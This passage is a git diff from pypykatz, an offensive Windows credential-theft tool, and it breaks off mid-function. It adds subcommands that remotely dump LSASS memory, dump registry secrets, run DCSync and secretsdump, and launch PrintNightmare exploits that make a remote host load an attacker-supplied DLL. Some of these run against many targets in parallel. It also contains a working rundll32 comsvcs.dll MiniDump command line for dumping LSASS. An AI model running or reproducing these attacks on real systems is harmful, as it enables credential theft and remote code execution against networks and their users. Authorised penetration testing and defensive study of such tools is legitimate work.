+		parprintnightmare_group.add_argument('--authmethod', choices=['ntlm', 'kerberos'], default = 'kerberos', help= 'Authentication method to use during login. If kerberos is used, the target must be DNS or hostname, NOT IP address!')
+		parprintnightmare_group.add_argument('--protocol-version', choices=['2', '3'], default = '2', help= 'SMB protocol version. SMB1 is not supported.')
 
 
 
 		live_subcommand_parser = argparse.ArgumentParser(add_help=False)                                                                                                  
-		live_smb_subparsers = live_subcommand_parser.add_subparsers(help = 'LIVE DPAPI commands work under the current user context. Except: keys, wifi, chrome')
+		live_smb_subparsers = live_subcommand_parser.add_subparsers(help = 'LIVE SMB commands work under the current user context.')
 		live_smb_subparsers.required = True
 		live_smb_subparsers.dest = 'livesmbcommand'
 
-		live_console_parser = live_smb_subparsers.add_parser('console', help = 'SMB (live) client. Use "help" instead of "-h" to get the available subcommands')
-		live_console_parser.add_argument('--authmethod', choices=['ntlm', 'kerberos'], default = 'ntlm', help= 'Authentication method to use during login')
-		live_console_parser.add_argument('--protocol-version', choices=['2', '3'], default = '2', help= 'SMB protocol version. SMB1 is not supported.')
-		live_console_parser.add_argument('-v', '--verbose', action='count', default=0, help='Verbosity, can be stacked')
-		live_console_parser.add_argument('host', help='Target host to connect to')
-		live_console_parser.add_argument('commands', nargs='*', help="!OPTIONAL! Takes a series of commands which will be executed until error encountered. If the command is 'i' is encountered during execution it drops back to interactive shell.")
-
+		live_client_parser = live_smb_subparsers.add_parser('client', help = 'SMB (live) client. Use "help" instead of "-h" to get the available subcommands')
+		live_client_parser.add_argument('--authmethod', choices=['ntlm', 'kerberos'], default = 'ntlm', help= 'Authentication method to use during login')
+		live_client_parser.add_argument('--protocol-version', choices=['2', '3'], default = '2', help= 'SMB protocol version. SMB1 is not supported.')
+		live_client_parser.add_argument('-v', '--verbose', action='count', default=0, help='Verbosity, can be stacked')
+		live_client_parser.add_argument('host', help='Target host to connect to')
+		live_client_parser.add_argument('commands', nargs='*', help="!OPTIONAL! Takes a series of commands which will be executed until error encountered. If the command is 'i' is encountered during execution it drops back to interactive shell.")
+
+		live_lsassdump_group = live_smb_subparsers.add_parser('lsassdump', help='Remotely dumps and parses LSASS')
+		live_lsassdump_group.add_argument('host', help='Target host to connect to')
+		live_lsassdump_group.add_argument('--authmethod', choices=['ntlm', 'kerberos'], default = 'kerberos', help= 'Authentication method to use during login. If kerberos is used, the target must be DNS or hostname, NOT IP address!')
+		live_lsassdump_group.add_argument('--protocol-version', choices=['2', '3'], default = '2', help= 'SMB protocol version. SMB1 is not supported.')
+		live_lsassdump_group.add_argument('-m','--method', choices=['task', 'service'] , default = 'task', help = 'Print credentials in JSON format')
+		live_lsassdump_group.add_argument('--json', action='store_true',help = 'Print credentials in JSON format')
+		live_lsassdump_group.add_argument('-o', '--outfile', help = 'Save results to file (you can specify --json for json file, or text format will be written)')
+		live_lsassdump_group.add_argument('-k', '--kerberos-dir', help = 'Save kerberos tickets to a directory.')
+		live_lsassdump_group.add_argument('-g', '--grep', action='store_true', help = 'Print credentials in greppable format')
+		live_lsassdump_group.add_argument('--chunksize', type=int, default=64*1024, help = 'Chunksize for file data retrival')
+		live_lsassdump_group.add_argument('-p','--packages', choices = ['all','msv', 'wdigest', 'tspkg', 'ssp', 'livessp', 'dpapi', 'cloudap'], nargs="+", default = 'all', help = 'LSASS package to parse')
+		live_lsassdump_group.add_argument('-t', '--target', nargs='*', help="Files/IPs/Hostnames for targets")
+		live_lsassdump_group.add_argument('-w', '--worker-count', type=int, default = 10, help="Number of parallell enum workers. Always one worker/host")
+		
+		live_regsec_group = live_smb_subparsers.add_parser('regdump', help='Remotely dumps and parses registry')
+		live_regsec_group.add_argument('host', help='Target host to connect to')
+		live_regsec_group.add_argument('--authmethod', choices=['ntlm', 'kerberos'], default = 'kerberos', help= 'Authentication method to use during login. If kerberos is used, the target must be DNS or hostname, NOT IP address!')
+		live_regsec_group.add_argument('--protocol-version', choices=['2', '3'], default = '2', help= 'SMB protocol version. SMB1 is not supported.')
+		live_regsec_group.add_argument('-o', '--outfile', help = 'Save results to file (you can specify --json for json file, or text format will be written)')
+		live_regsec_group.add_argument('--json', action='store_true',help = 'Print credentials in JSON format')
+		live_regsec_group.add_argument('-w', '--worker-count', type=int, default = 10, help="Number of parallell enum workers. Always one worker/host")
+		live_regsec_group.add_argument('-t', '--target', nargs='*', help="Files/IPs/Hostnames for targets")
+
+		live_dcsync_group = live_smb_subparsers.add_parser('dcsync', help='DcSync')
+		live_dcsync_group.add_argument('host', help='Target host to connect to')
+		live_dcsync_group.add_argument('--authmethod', choices=['ntlm', 'kerberos'], default = 'kerberos', help= 'Authentication method to use during login. If kerberos is used, the target must be DNS or hostname, NOT IP address!')
+		live_dcsync_group.add_argument('--protocol-version', choices=['2', '3'], default = '2', help= 'SMB protocol version. SMB1 is not supported.')
+		live_dcsync_group.add_argument('-u', '--username', help='taget username')
+		live_dcsync_group.add_argument('-o', '--outfile', help = 'Save results to file')
+
+		live_secretsdump_group = live_smb_subparsers.add_parser('secretsdump', help='secretsdump')
+		live_secretsdump_group.add_argument('host', help='Target host to connect to')
+		live_secretsdump_group.add_argument('--authmethod', choices=['ntlm', 'kerberos'], default = 'kerberos', help= 'Authentication method to use during login. If kerberos is used, the target must be DNS or hostname, NOT IP address!')
+		live_secretsdump_group.add_argument('--protocol-version', choices=['2', '3'], default = '2', help= 'SMB protocol version. SMB1 is not supported.')
+		live_secretsdump_group.add_argument('--json', action='store_true',help = 'Print credentials in JSON format')
+		live_secretsdump_group.add_argument('-o', '--outfile', help = 'Save results to file (you can specify --json for json file, or text format will be written)')
+		live_secretsdump_group.add_argument('-k', '--kerberos-dir', help = 'Save kerberos tickets to a directory.')
+		live_secretsdump_group.add_argument('-g', '--grep', action='store_true', help = 'Print credentials in greppable format')
+		live_secretsdump_group.add_argument('--chunksize', type=int, default=64*1024, help = 'Chunksize for file data retrival')
+		live_secretsdump_group.add_argument('-p','--packages', choices = ['all','msv', 'wdigest', 'tspkg', 'ssp', 'livessp', 'dpapi', 'cloudap'], nargs="+", default = 'all', help = 'LSASS package to parse')
 
 		live_shareenum_parser = live_smb_subparsers.add_parser('shareenum', help = 'SMB (live) share enumerator. THE DEFAULT SETTINGS ARE OPTIMIZED TO WORK ON DOMAIN-JOINED MACHINES. This will start enumeration using the current user credentials.')
 		live_shareenum_parser.add_argument('--authmethod', choices=['ntlm', 'kerberos'], default = 'kerberos', help= 'Authentication method to use during login. If kerberos is used, the target must be DNS or hostname, NOT IP address!')
@@ -158,6 +212,17 @@ class SMBCMDHelper:
 		live_shareenum_parser.add_argument('--ed', '--exclude-dir', nargs='*', help = 'Exclude directories with name specified')
 		live_shareenum_parser.add_argument('--et', '--exclude-target', nargs='*', help = 'Exclude hosts from enumeration')
 
+		live_printnightmare_group = live_smb_subparsers.add_parser('printnightmare', help='printnightmare')
+		live_printnightmare_group.add_argument('host', help='Target host to connect to')
+		live_printnightmare_group.add_argument('dllpath', help='Path to the DLL to be loaded by the remote host. Either UNC (\\\\<ip>\\path\\to\\dll.dll) or Full file path on the remote computer (C:\\path\\to\\dll.dll). Latter is useful if you have write permissions on the remote machine')
+		live_printnightmare_group.add_argument('--authmethod', choices=['ntlm', 'kerberos'], default = 'kerberos', help= 'Authentication method to use during login. If kerberos is used, the target must be DNS or hostname, NOT IP address!')
+		live_printnightmare_group.add_argument('--protocol-version', choices=['2', '3'], default = '2', help= 'SMB protocol version. SMB1 is not supported.')
+		
+		live_parprintnightmare_group = live_smb_subparsers.add_parser('parprintnightmare', help='par printnightmare')
+		live_parprintnightmare_group.add_argument('host', help='Target host to connect to')
+		live_parprintnightmare_group.add_argument('dllpath', help='Path to the DLL to be loaded by the remote host. Either UNC (\\\\<ip>\\path\\to\\dll.dll) or Full file path on the remote computer (C:\\path\\to\\dll.dll). Latter is useful if you have write permissions on the remote machine')
+		live_parprintnightmare_group.add_argument('--authmethod', choices=['ntlm', 'kerberos'], default = 'kerberos', help= 'Authentication method to use during login. If kerberos is used, the target must be DNS or hostname, NOT IP address!')
+		live_parprintnightmare_group.add_argument('--protocol-version', choices=['2', '3'], default = '2', help= 'SMB protocol version. SMB1 is not supported.')
 
 		live_group = live_parser.add_parser('smb', help='SMB (live) commands', epilog=smb_live_epilog, parents=[live_subcommand_parser])
 		
@@ -175,21 +240,26 @@ class SMBCMDHelper:
 			raise Exception('Live commands only work on Windows!')
 
 		from aiosmb import logger as smblog
+		from winacl.functions.highlevel import get_logon_info
+		
+		info = get_logon_info()
+		if args.livesmbcommand != 'shareenum':
+			smb_url = 'smb%s+sspi-%s://%s\\%s@%s' % (args.protocol_version, args.authmethod, info['domain'], info['username'], args.host)
 
 		if args.verbose == 0:
 			smblog.setLevel(100)
 		elif args.verbose == 1:
-			smblog.setLevel(level=logging.INFO)
+			smblog.setLevel(level=logger.INFO)
 		else:
 			level = 5 - args.verbose
 			smblog.setLevel(level=level)
 
-		if args.livesmbcommand == 'console':
+		if args.livesmbcommand == 'client':
 			from aiosmb.examples.smbclient import amain
-			from winacl.functions.highlevel import get_logon_info
-			info = get_logon_info()
+			
+			
 			la = SMBCMDArgs()
-			la.smb_url = 'smb%s+sspi-%s://%s\\%s@%s' % (args.protocol_version, args.authmethod, info['domain'], info['username'], args.host)
+			la.smb_url = smb_url
 			la.verbose = args.verbose
 
 			if args.commands is not None and len(args.commands) > 0:
@@ -205,6 +275,101 @@ class SMBCMDHelper:
 
 			await amain(la)
 
+
+		elif args.livesmbcommand == 'lsassdump':
+			from pypykatz.smb.lsassutils import lsassdump
+			tmimis = await lsassdump(smb_url, chunksize=args.chunksize, packages=args.packages, method = args.method)
+			for tid, mimi, err in tmimis:
+				if err is not None:
+					print('ERROR: %s' % err)
+				self.process_results({'smbfile':mimi}, [], args)
+
+		elif args.livesmbcommand == 'secretsdump':
+			from pypykatz.smb.lsassutils import lsassdump
+			from pypykatz.smb.regutils import regdump
+			from pypykatz.smb.dcsync import dcsync
+
+			try:
+				mimi = await lsassdump(smb_url, chunksize=args.chunksize, packages=args.packages)
+				if mimi is not None:
+					self.process_results({'smbfile':mimi}, [], args, file_prefix='_lsass.txt')
+			except Exception as e:
+				logger.exception('[SECRETSDUMP] Failed to get LSASS secrets')
+			
+			try:
+				po = await regdump(smb_url)
+				if po is not None:
+					if args.outfile:
+						po.to_file(args.outfile+'_registry.txt', args.json)
+					else:
+						if args.json:
+							print(json.dumps(po.to_dict(), cls = UniversalEncoder, indent=4, sort_keys=True))
+						else:
+							print(str(po))
+			except Exception as e:
+				logger.exception('[SECRETSDUMP] Failed to get registry secrets')
+			
+
+			try:
+				if args.outfile is not None:
+					outfile = open(args.outfile+'_dcsync.txt', 'w', newline = '')
+
+				async for secret in dcsync(smb_url):
+					if args.outfile is not None:
+						outfile.write(str(secret))
+					else:
+						print(str(secret))
+
+			except Exception as e:
+				logger.exception('[SECRETSDUMP] Failed to perform DCSYNC')
+			finally:
+				if args.outfile is not None:
+					outfile.close()
+		
+		elif args.livesmbcommand == 'dcsync':
+			from pypykatz.smb.dcsync import dcsync
+			
+			if args.outfile is not None:
+				outfile = open(args.outfile, 'w', newline = '')
+
+			async for secret in dcsync(smb_url, args.username):
+				if args.outfile is not None:
+					outfile.write(str(secret))
+				else:
+					print(str(secret))
+
+			if args.outfile is not None:
+				outfile.close()
+		
+		elif args.livesmbcommand == 'regdump':
+			from pypykatz.smb.regutils import regdump
+			po = await regdump(smb_url)
+
+			if po is not None:
+				if args.outfile:
+					po.to_file(args.outfile, args.json)
+				else:
+					if args.json:
+						print(json.dumps(po.to_dict(), cls = UniversalEncoder, indent=4, sort_keys=True))
+					else:
+						print(str(po))
+		
+		elif args.livesmbcommand == 'parprintnightmare':
+			from pypykatz.smb.printer import parprintnightmare
+			_, err = await parprintnightmare(smb_url, args.dllpath)
+			if err is not None:
+				print('Parprintnightmare failed! %s' % err)
+				return
+			print('Parprintnightmare OK!')
+
+		elif args.livesmbcommand == 'printnightmare':
+			from pypykatz.smb.printer import printnightmare
+			_, err = await printnightmare(smb_url, args.dllpath)
+			if err is not None:
+				print('Printnightmare failed! %s' % err)
+				return
+			print('Printnightmare OK!')
+
 		elif args.livesmbcommand == 'shareenum':
 			from pypykatz.smb.shareenum import shareenum
 
@@ -258,7 +423,7 @@ class SMBCMDHelper:
 		if args.verbose == 0:
 			smblog.setLevel(100)
 		elif args.verbose == 1:
-			smblog.setLevel(level=logging.INFO)
+			smblog.setLevel(level=logger.INFO)
 		else:
 			level = 5 - args.verbose
 			smblog.setLevel(level=level)
@@ -270,8 +435,17 @@ class SMBCMDHelper:
 
 		elif args.smb_module == 'lsassdump':
 			from pypykatz.smb.lsassutils import lsassdump
-			mimi = await lsassdump(args.url, chunksize=args.chunksize, packages=args.packages)
-			self.process_results({'smbfile':mimi}, [], args)
+			async for tid, mimi, err in lsassdump(
+					args.url, 
+					chunksize=args.chunksize, 
+					packages=args.packages,
+					method = args.method,
+					targets = args.target, 
+					worker_cnt = args.worker_count
+				):
+				if err is not None:
+					continue
+				self.process_results({tid:mimi}, [], args)
 
 		elif args.smb_module == 'secretsdump':
 			from pypykatz.smb.lsassutils import lsassdump
@@ -283,7 +457,7 @@ class SMBCMDHelper:
 				if mimi is not None:
 					self.process_results({'smbfile':mimi}, [], args, file_prefix='_lsass.txt')
 			except Exception as e:
-				logging.exception('[SECRETSDUMP] Failed to get LSASS secrets')
+				logger.exception('[SECRETSDUMP] Failed to get LSASS secrets')
 			
 			try:
 				po = await regdump(args.url)
@@ -296,7 +470,7 @@ class SMBCMDHelper:
 						else:
 							print(str(po))
 			except Exception as e:
-				logging.exception('[SECRETSDUMP] Failed to get registry secrets')
+				logger.exception('[SECRETSDUMP] Failed to get registry secrets')
 			
 
 			try:
@@ -310,7 +484,7 @@ class SMBCMDHelper:
 						print(str(secret))
 
 			except Exception as e:
-				logging.exception('[SECRETSDUMP] Failed to perform DCSYNC')
+				logger.exception('[SECRETSDUMP] Failed to perform DCSYNC')
 			finally:
 				if args.outfile is not None:
 					outfile.close()
@@ -332,16 +506,28 @@ class SMBCMDHelper:
 		
 		elif args.smb_module == 'regdump':
 			from pypykatz.smb.regutils import regdump
-			po = await regdump(args.url)
+			async for tid, po, err in regdump(args.url, targets=args.target, worker_cnt = args.worker_count):
+				if err is not None:
+					if args.outfile:
+						with open(args.outfile, 'a') as f:
+							f.write('[%s][ERROR]%s' % (tid, str(err)))
+					else:
+						print('[%s][ERROR]%s' % (tid, str(err)))
+					
+					continue
 
-			if po is not None:
-				if args.outfile:
-					po.to_file(args.outfile, args.json)
-				else:
-					if args.json:
-						print(json.dumps(po.to_dict(), cls = UniversalEncoder, indent=4, sort_keys=True))
+				if po is not None:
+					if args.outfile:
+						po.to_file(args.outfile, args.json)
 					else:
-						print(str(po))
+						if args.json:
+							print(json.dumps(po.to_dict(), cls = UniversalEncoder, indent=4, sort_keys=True))
+						else:
+							buffer = ''
+							for line in str(po).split('\n'):
+								buffer += '[%s] ' % tid 
+								buffer += line + '\r\n'
+							print(buffer)
 		
 		elif args.smb_module == 'regfile':
 			from pypykatz.smb.regutils import regfile
@@ -389,8 +575,6 @@ class SMBCMDHelper:
 				max_items = args.maxitems, 
 				dirsd = args.dirsd, 
 				filesd = args.filesd, 
-				authmethod = args.authmethod,
-				protocol_version = args.protocol_version,
 				output_type = output_type,
 				max_runtime = args.max_runtime,
 				exclude_share = exclude_share,
@@ -400,7 +584,7 @@ class SMBCMDHelper:
 			)
 
 
-		elif args.smb_module == 'console':
+		elif args.smb_module == 'client':
 			from aiosmb.examples.smbclient import amain
 			la = SMBCMDArgs()
 			la.smb_url = args.url
@@ -417,22 +601,38 @@ class SMBCMDHelper:
 						la.commands.append(command)
 
 			await amain(la)
+		
+		elif args.smb_module == 'printnightmare':
+			from pypykatz.smb.printer import printnightmare
+			_, err = await printnightmare(args.url, args.dllpath)
+			if err is not None:
+				print('Printnightmare failed! %s' % err)
+				return
+			print('Printnightmare OK!')
+		
+		elif args.smb_module == 'parprintnightmare':
+			from pypykatz.smb.printer import parprintnightmare
+			_, err = await parprintnightmare(args.url, args.dllpath)
+			if err is not None:
+				print('Parprintnightmare failed! %s' % err)
+				return
+			print('Parprintnightmare OK!')
 
 	def process_results(self, results, files_with_error, args, file_prefix = ''):
 		if args.outfile and args.json:
-			with open(args.outfile+file_prefix, 'w') as f:
+			with open(args.outfile+file_prefix, 'a') as f:
 				json.dump(results, f, cls = UniversalEncoder, indent=4, sort_keys=True)
 
 		elif args.outfile and args.grep:
-			with open(args.outfile+file_prefix, 'w', newline = '') as f:
-				f.write(':'.join(LogonSession.grep_header) + '\r\n')
+			with open(args.outfile+file_prefix, 'a', newline = '') as f:
+				f.write(':'.join(['target'] + LogonSession.grep_header) + '\r\n')
 				for result in results:
 					for luid in results[result].logon_sessions:
 						for row in results[result].logon_sessions[luid].to_grep_rows():
-							f.write(':'.join(row) + '\r\n')
+							f.write(':'.join([result] + row) + '\r\n')
 		
 		elif args.outfile:
-			with open(args.outfile+file_prefix, 'w') as f:
+			with open(args.outfile+file_prefix, 'a') as f:
 				for result in results:
 					f.write('FILE: ======== %s =======\n' % result)
 					
@@ -453,26 +653,26 @@ class SMBCMDHelper:
 			print(json.dumps(results, cls = UniversalEncoder, indent=4, sort_keys=True))
 		
 		elif args.grep:
-			print(':'.join(LogonSession.grep_header))
+			print(':'.join(['target'] + LogonSession.grep_header))
 			for result in results:
 				for luid in results[result].logon_sessions:
 					for row in results[result].logon_sessions[luid].to_grep_rows():
-						print(':'.join(row))
+						print(':'.join([result] + row))
 				for cred in results[result].orphaned_creds:
 					t = cred.to_dict()
 					if t['credtype'] != 'dpapi':
 						if t['password'] is not None:
-							x =  [str(t['credtype']), str(t['domainname']), str(t['username']), '', '', '', '', '', str(t['password'])]
+							x =  [result , str(t['credtype']), str(t['domainname']), str(t['username']), '', '', '', '', '', str(t['password'])]
 							print(':'.join(x))
 					else:
 						t = cred.to_dict()
-						x = [str(t['credtype']), '', '', '', '', '', str(t['masterkey']), str(t['sha1_masterkey']), str(t['key_guid']), '']
+						x = [result, str(t['credtype']), '', '', '', '', '', str(t['masterkey']), str(t['sha1_masterkey']), str(t['key_guid']), '']
 						print(':'.join(x))
 				
 				for pkg, err in results[result].errors:
 					err_str = str(err) +'\r\n' + '\r\n'.join(traceback.format_tb(err.__traceback__))
 					err_str = base64.b64encode(err_str.encode()).decode()
-					x =  [pkg+'_exception_please_report', '', '', '', '', '', '', '', '', err_str]
+					x =  [result + pkg+'_exception_please_report', '', '', '', '', '', '', '', '', err_str]
 					print(':'.join(x) + '\r\n')
 		else:
 			for result in results:
@@ -506,7 +706,7 @@ class SMBCMDHelper:
 		
 		if args.kerberos_dir:
 			dir = os.path.abspath(args.kerberos_dir)
-			logging.info('Writing kerberos tickets to %s' % dir)
+			logger.info('Writing kerberos tickets to %s' % dir)
 			for filename in results:
 				base_filename = ntpath.basename(filename)
 				ccache_filename = '%s_%s.ccache' % (base_filename, os.urandom(4).hex()) #to avoid collisions
diff --git a/pypykatz/smb/dcsync.py b/pypykatz/smb/dcsync.py
index 74068c3..f0b69d4 100644
--- a/pypykatz/smb/dcsync.py
+++ b/pypykatz/smb/dcsync.py
@@ -1,11 +1,11 @@
 import asyncio
-from pypykatz import logging
+from pypykatz import logger
 
 async def dcsync(url, username = None):
-	from aiosmb.commons.connection.url import SMBConnectionURL
+	from aiosmb.commons.connection.factory import SMBConnectionFactory
 	from aiosmb.commons.interfaces.machine import SMBMachine
 
-	smburl = SMBConnectionURL(url)
+	smburl = SMBConnectionFactory.from_url(url)
 	connection = smburl.get_connection()
 
 	users = []
@@ -13,13 +13,13 @@ async def dcsync(url, username = None):
 		users.append(username)
 
 	async with connection:
-		logging.debug('[DCSYNC] Connecting to server...')
+		logger.debug('[DCSYNC] Connecting to server...')
 		_, err = await connection.login()
 		if err is not None:
 			raise err
 		
-		logging.debug('[DCSYNC] Connected to server!')
-		logging.debug('[DCSYNC] Running...')
+		logger.debug('[DCSYNC] Connected to server!')
+		logger.debug('[DCSYNC] Running...')
 
 		i = 0
 		async with SMBMachine(connection) as machine:
@@ -28,9 +28,9 @@ async def dcsync(url, username = None):
 					raise err
 				i += 1
 				if i % 1000 == 0:
-					logging.debug('[DCSYNC] Running... %s' % i)
+					logger.debug('[DCSYNC] Running... %s' % i)
 				await asyncio.sleep(0)
 				yield secret
 		
-		logging.debug('[DCSYNC] Finished!')
+		logger.debug('[DCSYNC] Finished!')
 		
\ No newline at end of file
diff --git a/pypykatz/smb/lsassutils.py b/pypykatz/smb/lsassutils.py
index fb002e1..aa33f11 100644
--- a/pypykatz/smb/lsassutils.py
+++ b/pypykatz/smb/lsassutils.py
@@ -1,110 +1,216 @@
 import asyncio
 import os
+import itertools
 
-from pypykatz import logging
+from aiosmb.examples.smbshareenum import SMBFileEnum, ListTargetGen, FileTargetGen
+
+def natatime(n, iterable, fillvalue = None):
+	"""Returns an iterator yielding `n` elements at a time.
+	:param n: the number of elements to return at each iteration
+	:param iterable: the iterable over which to iterate
+	:param fillvalue: the value to use for missing elements
+	:Example:
+	>>> for (a,b,c) in natatime(3, [1,2,3,4,5], fillvalue = "?"):
+		...   print a, b, c
+		...
+	1 2 3
+	4 5 ?
+	"""
+	stepped_slices = ( itertools.islice(iterable, i, None, n) for i in range(n) )
+	return itertools.zip_longest(*stepped_slices, fillvalue = fillvalue)
+
+
+from pypykatz import logger
 
 async def lsassfile(url, packages = ['all'], chunksize = 64*1024):
-	from aiosmb.commons.connection.url import SMBConnectionURL
+	from aiosmb.commons.connection.factory import SMBConnectionFactory
 	from pypykatz.alsadecryptor.asbmfile import SMBFileReader
 	from pypykatz.apypykatz import apypykatz
 
-	smburl = SMBConnectionURL(url)
+	smburl = SMBConnectionFactory.from_url(url)
 	connection = smburl.get_connection()
 	smbfile = smburl.get_file()
 
 	async with connection:
-		logging.debug('[LSASSFILE] Connecting to server...')
+		logger.debug('[LSASSFILE] Connecting to server...')
 		_, err = await connection.login()
 		if err is not None:
 			raise err
 		
-		logging.debug('[LSASSFILE] Connected!')
-		logging.debug('[LSASSFILE] Opening LSASS dump file...')
+		logger.debug('[LSASSFILE] Connected!')
+		logger.debug('[LSASSFILE] Opening LSASS dump file...')
 		_, err = await smbfile.open(connection)
 		if err is not None:
 			raise err
 		
-		logging.debug('[LSASSFILE] LSASS file opened!')
-		logging.debug('[LSASSFILE] parsing LSASS file...')
+		logger.debug('[LSASSFILE] LSASS file opened!')
+		logger.debug('[LSASSFILE] parsing LSASS file...')
 		mimi = await apypykatz.parse_minidump_external(SMBFileReader(smbfile), chunksize=chunksize, packages = packages)
-		logging.debug('[LSASSFILE] LSASS file parsed OK!')
+		logger.debug('[LSASSFILE] LSASS file parsed OK!')
 		return mimi
 
-async def lsassdump(url, method = 'taskexec', remote_base_path = 'C:\\Windows\\Temp\\', remote_share_name = '\\c$\\Windows\\Temp\\',chunksize = 64*1024, packages = ['all']):
-	from aiosmb.commons.exceptions import SMBException
-	from aiosmb.wintypes.ntstatus import NTStatus
-	from aiosmb.commons.connection.url import SMBConnectionURL
-	from aiosmb.commons.interfaces.machine import SMBMachine
-	from pypykatz.alsadecryptor.asbmfile import SMBFileReader
-	from aiosmb.commons.interfaces.file import SMBFile
-	from pypykatz.apypykatz import apypykatz
+async def lsassdump(url, method = 'task', remote_base_path = 'C:\\Windows\\Temp\\', remote_share_name = '\\c$\\Windows\\Temp\\',chunksize = 64*1024, packages = ['all'], targets = [], worker_cnt = 5):	
+	from aiosmb.commons.connection.factory import SMBConnectionFactory
+	base_url = None
+	base_conn = None
+	mimis = []
+	workers = []
 
-	smburl = SMBConnectionURL(url)
-	connection = smburl.get_connection()
+	tgens = []
+	if targets is not None and len(targets) != 0:
+		notfile = []
+		if targets is not None:
+			for target in targets:
+				try:
+					f = open(target, 'r')
+					f.close()
+					tgens.append(FileTargetGen(target))
+				except:
+					notfile.append(target)
+			
+			if len(notfile) > 0:
+				tgens.append(ListTargetGen(notfile))
 
-	if remote_base_path.endswith('\\') is False:
-		remote_base_path += '\\'
+	if isinstance(url, SMBConnectionFactory):
+		base_url = url
+		base_conn = url.get_connection()
+	else:
+		base_url = SMBConnectionFactory.from_url(url)
+		base_conn = base_url.get_connection()
+	
+	lsassdump_coro = lsassdump_single(
+		base_conn.target.get_hostname_or_ip(), 
+		base_conn, 
+		method = method, 
+		remote_base_path = remote_base_path, 
+		remote_share_name = remote_share_name, 
+		chunksize = chunksize, 
+		packages = packages
+	)
+	workers.append(lsassdump_coro)
 
-	if remote_share_name.endswith('\\') is False:
-		remote_share_name += '\\'
+	for tgen in tgens:
+		async for _, target, err in tgen.generate():
+			tconn = base_url.create_connection_newtarget(target)
+			lsassdump_coro = lsassdump_single(
+				tconn.target.get_hostname_or_ip(), 
+				tconn, 
+				method = method, 
+				remote_base_path = remote_base_path, 
+				remote_share_name = remote_share_name, 
+				chunksize = chunksize, 
+				packages = packages
+			)
+			workers.append(lsassdump_coro)
+			if len(workers) >= worker_cnt:
+				tres = await asyncio.gather(*workers)
+				for res in tres:
+					yield res
+				workers = []
 
-	fname = '%s.%s' % (os.urandom(5).hex(), os.urandom(3).hex())
-	filepath = remote_base_path + fname
-	filesharepath = remote_share_name + fname
-	
-	if method == 'taskexec':
-		cmd = """for /f "tokens=1,2 delims= " ^%A in ('"tasklist /fi "Imagename eq lsass.exe" | find "lsass""') do rundll32.exe C:\\windows\\System32\\comsvcs.dll, MiniDump ^%B {} full""".format(filepath)
-		commands = [cmd]
-	
-	else:
-		raise Exception('Unknown execution method %s' % method)
+	if len(workers) > 0:
+		tres = await asyncio.gather(*workers)
+		for res in tres:
+			yield res
+		workers = []
 
-	mimi = None
-	async with connection:
-		logging.debug('[LSASSDUMP] Connecting to server...')
-		_, err = await connection.login()
-		if err is not None:
-			raise err
-		logging.debug('[LSASSDUMP] Connected!')
-		async with SMBMachine(connection) as machine:
-			if method == 'taskexec':
-				logging.debug('[LSASSDUMP] Start dumping LSASS with taskexec method!')
-				logging.info('[LSASSDUMP] File location: %s' % filepath)
-				_, err = await machine.tasks_execute_commands(commands)
-				if err is not None:
-					raise err
-				
-				logging.debug('[LSASSDUMP] Sleeping a bit to let the remote host finish dumping')
-				await asyncio.sleep(10)
-			
-			else:
-				raise Exception('Unknown execution method %s' % method)
+
+async def lsassdump_single(targetid, connection, method = 'task', remote_base_path = 'C:\\Windows\\Temp\\', remote_share_name = '\\c$\\Windows\\Temp\\',chunksize = 64*1024, packages = ['all']):
+	try:
+		from aiosmb.commons.exceptions import SMBException
+		from aiosmb.wintypes.ntstatus import NTStatus
+		from aiosmb.commons.interfaces.machine import SMBMachine
+		from pypykatz.alsadecryptor.asbmfile import SMBFileReader
+		from aiosmb.commons.interfaces.file import SMBFile
+		from pypykatz.apypykatz import apypykatz
+
+		if remote_base_path.endswith('\\') is False:
+			remote_base_path += '\\'
+
+		if remote_share_name.endswith('\\') is False:
+			remote_share_name += '\\'
+
+		fname = '%s.%s' % (os.urandom(5).hex(), os.urandom(3).hex())
+		filepath = remote_base_path + fname
+		filesharepath = remote_share_name + fname
+		
+		if method == 'task':
+			cmd = """for /f "tokens=1,2 delims= " ^%A in ('"tasklist /fi "Imagename eq lsass.exe" | find "lsass""') do rundll32.exe C:\\windows\\System32\\comsvcs.dll, MiniDump ^%B {} full""".format(filepath)
+			commands = [cmd]
+		
+		elif method == 'service':
+			cmd = ''
 		
-		logging.debug('[LSASSDUMP] Opening LSASS dump file...')
-		for _ in range(3):
-			smbfile = SMBFileReader(SMBFile.from_remotepath(connection, filesharepath))
-			_, err = await smbfile.open(connection)
+		else:
+			raise Exception('Unknown execution method %s' % method)
+
+		mimi = None
+		async with connection:
+			logger.debug('[LSASSDUMP][%s] Connecting to server...' % targetid)
+			_, err = await connection.login()
 			if err is not None:
-				if isinstance(err, SMBException):
-					if err.ntstatus == NTStatus.SHARING_VIOLATION:
-						logging.debug('[LSASSDUMP] LSASS dump is not yet ready, retrying...')
-						await asyncio.sleep(1)
-						continue
 				raise err
-			break
-		else:
-			raise err
-		
-		logging.debug('[LSASSDUMP] LSASS dump file opened!')
-		logging.debug('[LSASSDUMP] parsing LSASS dump file on the remote host...')
-		mimi = await apypykatz.parse_minidump_external(smbfile, chunksize=chunksize, packages = packages)
+			logger.debug('[LSASSDUMP][%s] Connected!' % targetid)
+			async with SMBMachine(connection) as machine:
+				if method == 'task':
+					logger.debug('[LSASSDUMP][%s] Start dumping LSASS with taskexec method!' % targetid)
+					smbfile_inner, err = await machine.task_dump_lsass()
+					
+					if err is not None:
+						raise err
+					
+					smbfile = SMBFileReader(smbfile_inner)
+					
+					#logger.debug('[LSASSDUMP][%s] Start dumping LSASS with taskexec method!' % targetid)
+					#logger.info('[LSASSDUMP][%s] File location: %s' % (targetid,filepath))
+					#_, err = await machine.tasks_execute_commands(commands)
+					#if err is not None:
+					#	raise err
+					#
+					#logger.debug('[LSASSDUMP][%s] Opening LSASS dump file...' % targetid)
+					#for _ in range(5):
+					#	logger.debug('[LSASSDUMP][%s] Sleeping a bit to let the remote host finish dumping' % targetid)
+					#	await asyncio.sleep(5)
+					#	smbfile = SMBFileReader(SMBFile.from_remotepath(connection, filesharepath))
+					#	_, err = await smbfile.open(connection)
+					#	if err is not None:
+					#		if isinstance(err, SMBException):
+					#			if err.ntstatus == NTStatus.SHARING_VIOLATION:
+					#				logger.debug('[LSASSDUMP][%s] LSASS dump is not yet ready, retrying...' % targetid)
+					#				#await asyncio.sleep(1)
+					#				continue
+					#		raise err
+					#	break
+					#else:
+					#	raise err
+				
+				
+				
+				elif method == 'service':
+					logger.debug('[LSASSDUMP][%s] Start dumping LSASS with serviceexec method!' % targetid)
